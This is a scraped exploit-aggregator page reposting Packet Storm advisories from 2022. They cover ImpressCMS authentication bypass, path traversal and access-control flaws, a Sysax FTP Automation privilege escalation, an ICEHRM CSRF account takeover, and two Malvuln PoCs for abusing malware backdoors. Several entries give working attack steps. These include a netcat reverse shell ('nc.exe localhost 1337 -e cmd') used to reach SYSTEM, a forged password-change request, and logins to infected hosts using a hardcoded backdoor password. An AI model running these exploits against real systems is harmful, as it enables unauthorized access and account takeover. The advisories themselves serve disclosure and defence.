Master the power of exploiting most complex SQL injectionsContinue reading on InfoSec Write-ups » (https://infosecwriteups.com/the-mystery-of-sqlmaps-eval-f6c7bf43e1f?source=rss------bug_bounty-5)
The mystery of SQLMap’s --eval
Master the power of exploiting most complex SQL injectionsContinue reading on InfoSec Write-ups »
Read more...
Master the power of exploiting most complex SQL injectionsContinue reading on InfoSec Write-ups »
Read more...
Caso de uso não autorizados de chave da API do Google Maps
Fala galera,Continue reading on Medium »
Read more...
Fala galera,Continue reading on Medium »
Read more...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
ImpressCMS 1.4.2 Authentication Bypass
https://4.bp.blogspot.com/-42b-8Yu8ql4/WWlvfoDuyhI/AAAAAAAAIQE/GMGQD7Uo7DMncRccI_LNcWgfvYRkd0zwQCLcBGAs/s1600/h86.png
ImpressCMS versions 1.4.2 and below suffer from an authentication bypass vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
ImpressCMS 1.4.2 Authentication Bypass
https://4.bp.blogspot.com/-42b-8Yu8ql4/WWlvfoDuyhI/AAAAAAAAIQE/GMGQD7Uo7DMncRccI_LNcWgfvYRkd0zwQCLcBGAs/s1600/h86.png
ImpressCMS versions 1.4.2 and below suffer from an authentication bypass vulnerability.
MD5 |
cb96afceb1d5f28665500ba31bf166abDownload
-----------------------------------------------------------------------
ImpressCMS <=
-----------------------------------------------------------------------
[-] Software Link:
https://www.impresscms.org
[-] Affected Versions:
Version 1.4.2 and prior versions.
[-] Vulnerability Description:
The vulnerability is located in the /plugins/preloads/autologin.php script:
45. $uname = $myts->stripSlashesGPC($autologinName);
46. $pass = $myts->stripSlashesGPC($autologinPass);
47. if (empty($uname) || is_numeric($pass)) {
48. $user = false ;
49. } else {
50. // V3
51. $uname4sql = addslashes($uname);
52. $criteria = new icms_db_criteria_Compo(new
icms_db_criteria_Item('login_name', $uname4sql));
53. $user_handler = icms::handler('icms_member_user');
54. $users = $user_handler->getObjects($criteria, false);
55. if (empty($users) || count($users) != 1) {
56. $user = false ;
57. } else {
58. // V3.1 begin
59. $user = $users[0] ;
60. $old_limit = time() -
(defined('ICMS_AUTOLOGIN_LIFETIME') ? ICMS_AUTOLOGIN_LIFETIME : 604800);
61. list($old_Ynj, $old_encpass) = explode(':', $pass);
62. if (strtotime($old_Ynj) < $old_limit ||
md5($user->getVar('pass') .
63. ICMS_DB_PASS . ICMS_DB_PREFIX . $old_Ynj)
!= $old_encpass)
64. {
65. $user = false;
66. }
User input passed through the "autologin_uname" and "autologin_pass"
cookie values is being used at lines 51-54 to fetch an user object from
the database, and then at lines 62-63 to check the correctness of the
user's password. The vulnerability exists because of an unsafe way of
comparing those parameters, due to comparison operator != is being used
instead of !== within the "if" statement at lines 62-63. The latter
operator returns "true" only if the compared values are equal and the
same type, while the first compares the values after "type juggling".
This might be exploited to potentially bypass the authentication
mechanism and login as any user without the knowledge of the password.
[-] Solution:
Upgrade to version 1.4.3 or later.
[-] Disclosure Timeline:
[20/01/2021] - Vendor notified through HackerOne
[02/02/2021] - Vendor replied this has been resolved and will be in
ImpressCMS 1.4.3
[03/02/2021] - CVE number assigned
[06/02/2022] - Version 1.4.3 released
[22/03/2022] - Public disclosure
[-] CVE Reference:
The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2021-26600 to this vulnerability.
[-] Credits:
Vulnerability discovered by Egidio Romano.
[-] Other References:
https://hackerone.com/reports/1081986
[-] Original Advisory:
http://karmainsecurity.com/KIS-2022-01
Source:packetstormsecurity.com
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Sysax FTP Automation 6.9.0 Privilege Escalation
https://4.bp.blogspot.com/-Nd-X_KvCLtU/WWlu3jy7alI/AAAAAAAAIIw/wd38Z8AjxRAJh0AdUZMKadOiqPJQRSLMgCLcBGAs/s1600/h101.png
Sysax FTP Automation version 6.9.0 suffers from a privilege escalation vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
Sysax FTP Automation 6.9.0 Privilege Escalation
https://4.bp.blogspot.com/-Nd-X_KvCLtU/WWlu3jy7alI/AAAAAAAAIIw/wd38Z8AjxRAJh0AdUZMKadOiqPJQRSLMgCLcBGAs/s1600/h101.png
Sysax FTP Automation version 6.9.0 suffers from a privilege escalation vulnerability.
MD5 |
cabc8e82b372a9b0475ad6a07ee85d3eDownload
# Exploit Author: bzyo (@bzyo_)
# Exploit Title: Sysax FTP Automation 6.9.0 - Privilege Escalation
# Date: 03-20-2022
# Vulnerable Software: Sysax FTP Automation 6.9.0
# Vendor Homepage: https://www.sysax.com/
# Version: 6.9.0
# Software Link: https://www.sysax.com/download/sysaxauto_setup.msi
# Tested on: Windows 10 x64
# Details:
Sysax Scheduler Service runs as Local System. By default the application allows for low privilege users to create/run backup jobs other than themselves. By removing the option to run as current user or another, the task will run as System. A low privilege user could abuse this and escalate their privileges to local system.
# Prerequisites:
To successfully exploit this vulnerability, an attacker must already have local access to a system running Sysax FTP Automation using a low privileged user account
# Exploit:
Logged in as low privileged account
1. Create folder c:\temp
2. Download netcat (nc.exe) to c:\temp
3. Create file 'pwn.bat' in c:\temp with contents
c:\temp\nc.exe localhost 1337 -e cmd
4. Open command prompt and netcat listener
nc -nlvvp 1337
5. Open sysaxschedscp.exe from C:\Program Files (x86)\SysaxAutomation
6. Select Setup Scheduled/Triggered Tasks
- Add task (Triggered)
- Update folder to monitor to be c:\temp
- Check 'Run task if a file is added to the monitor folder or subfolder(s)'
- Choose 'Run any other Program' and choose c:\temp\pwn.bat
- Uncheck 'Login as the following user to run task'
- Finish and Save
7. Create new text file in c:\temp
8. Check netcat listener
C:\WINDOWS\system32>whoami
whoami
nt authority\system
Source:packetstormsecurity.com
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Backdoor.Win32.Agent.bxxn Open Proxy
https://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png
Backdoor.Win32.Agent.bxxn malware suffers from an open proxy vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
Backdoor.Win32.Agent.bxxn Open Proxy
https://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png
Backdoor.Win32.Agent.bxxn malware suffers from an open proxy vulnerability.
MD5 |
7a869bda2813b6f98ff4465388a0e478Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/dcbc237f21839a6514c8321d5fa631a4.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Agent.bxxn
Vulnerability: Open Proxy
Description: The malware listens on TCP port 1080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.
Family: Agent
Type: PE32
MD5: dcbc237f21839a6514c8321d5fa631a4
Vuln ID: MVID-2022-0522
Disclosure: 03/21/2022
Exploit/PoC:
curl socks4://192.168.18.125:1080 http://192.168.18.128:21
220 INetSim FTP Service ready.
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Source:packetstormsecurity.com
Exploit Collector
iRZ Mobile Router Cross Site Request Forgery / Remote Code Execution
iRZ Mobile Router Cross Site Request Forgery / Remote Code Execution
Kitploit
iRZ Mobile Router Cross Site Request Forgery / Remote Code Execution
Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Backdoor.Win32.BirdSpy.b Hardcoded Credential
https://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png
Backdoor.Win32.BirdSpy.b malware suffers from a hardcoded credential vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
Backdoor.Win32.BirdSpy.b Hardcoded Credential
https://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png
Backdoor.Win32.BirdSpy.b malware suffers from a hardcoded credential vulnerability.
MD5 |
7e6168b54ac04e9df02909abd1d357f0Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/eba3dd81723ddf33621fd85ded577920.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.BirdSpy.b
Vulnerability: Weak Hardcoded Credentials
Family: BirdSpy
Type: PE32
MD5: eba3dd81723ddf33621fd85ded577920
Vuln ID: MVID-2022-0523
Dropped files: WinSock.exe
Disclosure: 03/21/2022
Description: The malware listens on TCP port 50829. Authentication is required, however the password "ccbird" is weak and hardcoded in the PE file.
00401E0E mov esi, offset Data ; "ccbird"
00401E13 push 0 ; flags
00401E15 push esi ; Str
Built-in commands:
==================
byby "kill the malware"
delp "terminate process"
exec "shellexecute pgm"
dlog HATE "send a message"
getd "get drives"
regw "write to registry"
Exploit/PoC:
nc64.exe x.x.x.x 50829
ccbird
pwok Welcome to Januse's BirdSPY
Januse0128
sysJanuse0128gsys
msgeSystem: Windows NT
Version:6.2
BuildNumber:9200
System Info:''Januse0128
Januse0128dlog HATE
Januse0128bird
BirdSPY Release version 1..by JanuseChiu
ME.NCU.EDU.TW...YAJanuse0128
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Source:packetstormsecurity.com
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
ICEHRM 31.0.0.0S Cross Site Request Forgery
https://1.bp.blogspot.com/-LuDwp3Oo6oc/WWlvICvnykI/AAAAAAAAILo/OetpmDNBdyImnh7DlH6SrwI0NyzSCKSJACLcBGAs/s1600/h142.png
ICEHRM version 31.0.0.0S suffers from a cross site request forgery vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
ICEHRM 31.0.0.0S Cross Site Request Forgery
https://1.bp.blogspot.com/-LuDwp3Oo6oc/WWlvICvnykI/AAAAAAAAILo/OetpmDNBdyImnh7DlH6SrwI0NyzSCKSJACLcBGAs/s1600/h142.png
ICEHRM version 31.0.0.0S suffers from a cross site request forgery vulnerability.
MD5 |
c62d06823da308b96d7d8a8775bd3775Download
# Exploit Title: ICEHRM 31.0.0.0S - Cross-site Request Forgery (CSRF) to Account Takeover
# Date: 18/03/2022
# Exploit Author: Devansh Bordia
# Vendor Homepage: https://icehrm.com/
# Software Link: https://github.com/gamonoid/icehrm/releases/tag/v31.0.0.OS
# Version: 31.0.0.OS
#Tested on: Windows 10
1. About - ICEHRM
IceHrm employee management system allows companies to centralize confidential employee information and define access permissions to authorized personnel to ensure that employee information is both secure and accessible.
2. Description:
The application has an update password feature which has a CSRF vulnerability that allows an attacker to change the password of any arbitrary user leading to an account takeover.
3. Steps To Reproduce:
- Create an User name:Gaurav with permission of the Employee using the Admin User of the application and set his password.
- Now login into the application using his credentials and navigate to Update Password Feature to change the password.
- Intercept the request in Proxy and we can see there is a GET request used to change password and also NO CSRF Token is being used.
- Finally using Burpsuite create CSRF POC and save it as exploit.html.
- Now change the password in the POC to any password we want.
- Finally we open this POC in the same browser session and click on the submit button.
- At last when retrying to login into the application we can see that password has been reset for the account leading to account takeover.
4. Vulnerable Request:
GET
/app/service.php?t=Employee&a=ca&sa=changePassword&mod=modules=employees&req={"current":"Test@123
","pwd":"Dummy@123"} HTTP/1.1
Host: localhost:8070
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0)
Gecko/20100101 Firefox/98.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer:
http://localhost:8070/app/?g=modules&n=employees&m=module_Personal_Information
Cookie: PHPSESSID=k8d27ve456j0jb56ga885j1vvb
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
5. Exploit POC (exploit.html)
value="{"current":"Test@123","pwd":"Dummy@123"}"
/>
Source:packetstormsecurity.com
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
ImpressCMS 1.4.2 Path Traversal
https://4.bp.blogspot.com/-lQ2zJgiLTsU/WWlu34sMcWI/AAAAAAAAII4/mS7xceEZnmUYAvFeoaUiLc9JINHoDjNsACLcBGAs/s1600/h102.png
ImpressCMS versions 1.4.2 and below suffer from a path traversal vulnerability that can allow for arbitrary file deletion.
MD5 |
Download
Source:packetstormsecurity.com
ImpressCMS 1.4.2 Path Traversal
https://4.bp.blogspot.com/-lQ2zJgiLTsU/WWlu34sMcWI/AAAAAAAAII4/mS7xceEZnmUYAvFeoaUiLc9JINHoDjNsACLcBGAs/s1600/h102.png
ImpressCMS versions 1.4.2 and below suffer from a path traversal vulnerability that can allow for arbitrary file deletion.
MD5 |
a8d22b7cc80f2dd7e1709f1422b1179eDownload
-----------------------------------------------------------------
ImpressCMS <=
-----------------------------------------------------------------
[-] Software Link:
https://www.impresscms.org
[-] Affected Versions:
Version 1.4.2 and prior versions.
[-] Vulnerability Description:
The vulnerability is located in the
/libraries/image-editor/image-edit.php script:
161. if (@copy ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' .
$simage_temp, $categ_path . $simage->getVar ( 'image_name' ) )) {
162. if (@unlink ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' .
$simage_temp )) {
163. $msg = _MD_AM_DBUPDATED;
[...]
190. } else {
191. if (copy ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' .
$simage_temp, $categ_path . $imgname )) {
192. @unlink ( ICMS_IMANAGER_FOLDER_PATH . '/temp/' .
$simage_temp );
193. }
User input passed through the "image_temp" parameter is not properly
sanitized before being used in a call to the unlink() function at lines
162 and 192. This can be exploited by authenticated attackers to carry
out Path Traversal attacks and delete arbitrary files in the context of
the web server process. This vulnerability could be exploited also to
disclose the content of arbitrary files in case the web server allows
for directory listing.
[-] Solution:
Upgrade to version 1.4.3 or later.
[-] Disclosure Timeline:
[19/01/2021] - Vendor notified through HackerOne
[29/01/2021] - Vulnerability acknowledged by the vendor
[03/02/2021] - CVE number assigned
[06/02/2022] - Version 1.4.3 released
[22/03/2022] - Public disclosure
[-] CVE Reference:
The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2021-26601 to this vulnerability.
[-] Credits:
Vulnerability discovered by Egidio Romano.
[-] Other References:
https://hackerone.com/reports/1081878
[-] Original Advisory:
http://karmainsecurity.com/KIS-2022-02
Source:packetstormsecurity.com
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
ImpressCMS 1.4.2 Incorrect Access Control
https://4.bp.blogspot.com/-INMz00VTlDg/WWlvPzJvf6I/AAAAAAAAIM4/tZDwU9OuM_wuiTGIuyom6E8lddjUI2D5ACLcBGAs/s1600/h29.png
ImpressCMS versions 1.4.2 and below suffer from an incorrect access control vulnerability.
MD5 |
Download
Source:packetstormsecurity.com
ImpressCMS 1.4.2 Incorrect Access Control
https://4.bp.blogspot.com/-INMz00VTlDg/WWlvPzJvf6I/AAAAAAAAIM4/tZDwU9OuM_wuiTGIuyom6E8lddjUI2D5ACLcBGAs/s1600/h29.png
ImpressCMS versions 1.4.2 and below suffer from an incorrect access control vulnerability.
MD5 |
3eef0d54701c87520c4c7a944b7f47a5Download
--------------------------------------------------------------------------
ImpressCMS <=
--------------------------------------------------------------------------
[-] Software Link:
https://www.impresscms.org
[-] Affected Versions:
Version 1.4.2 and prior versions.
[-] Vulnerability Description:
The vulnerability is located in the /include/findusers.php script:
16. include "../mainfile.php";
17. xoops_header(false);
18.
19. $denied = true;
20. if (!empty($_REQUEST['token'])) {
21. if (icms::$security->validateToken($_REQUEST['token'], false)) {
22. $denied = false;
23. }
24. } elseif (is_object(icms::$user) && icms::$user->isAdmin()) {
25. $denied = false;
26. }
27. if ($denied) {
28. icms_core_Message::error(_NOPERM);
29. exit();
30. } }
This script should be accessible to authenticated users only. However,
because of the "if" statement at lines 20-23, this script could be
accessed by unauthenticated attackers if they will provide a valid
security token. Such a token will be generated in several places within
the application, and some of them do not require the user to be
authenticated, like in the misc.php script. This might be exploited to
access an otherwise restricted functionality of the application, which
in turn might allow an information disclosure about the CMS users.
[-] Solution:
Upgrade to version 1.4.3 or later.
[-] Disclosure Timeline:
[19/01/2021] - Vendor notified through HackerOne
[03/02/2021] - CVE number assigned
[06/02/2022] - Version 1.4.3 released
[22/03/2022] - Public disclosure
[-] CVE Reference:
The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2021-26598 to this vulnerability.
[-] Credits:
Vulnerability discovered by Egidio Romano.
[-] Other References:
https://hackerone.com/reports/1081137
[-] Original Advisory:
http://karmainsecurity.com/KIS-2022-03
Source:packetstormsecurity.com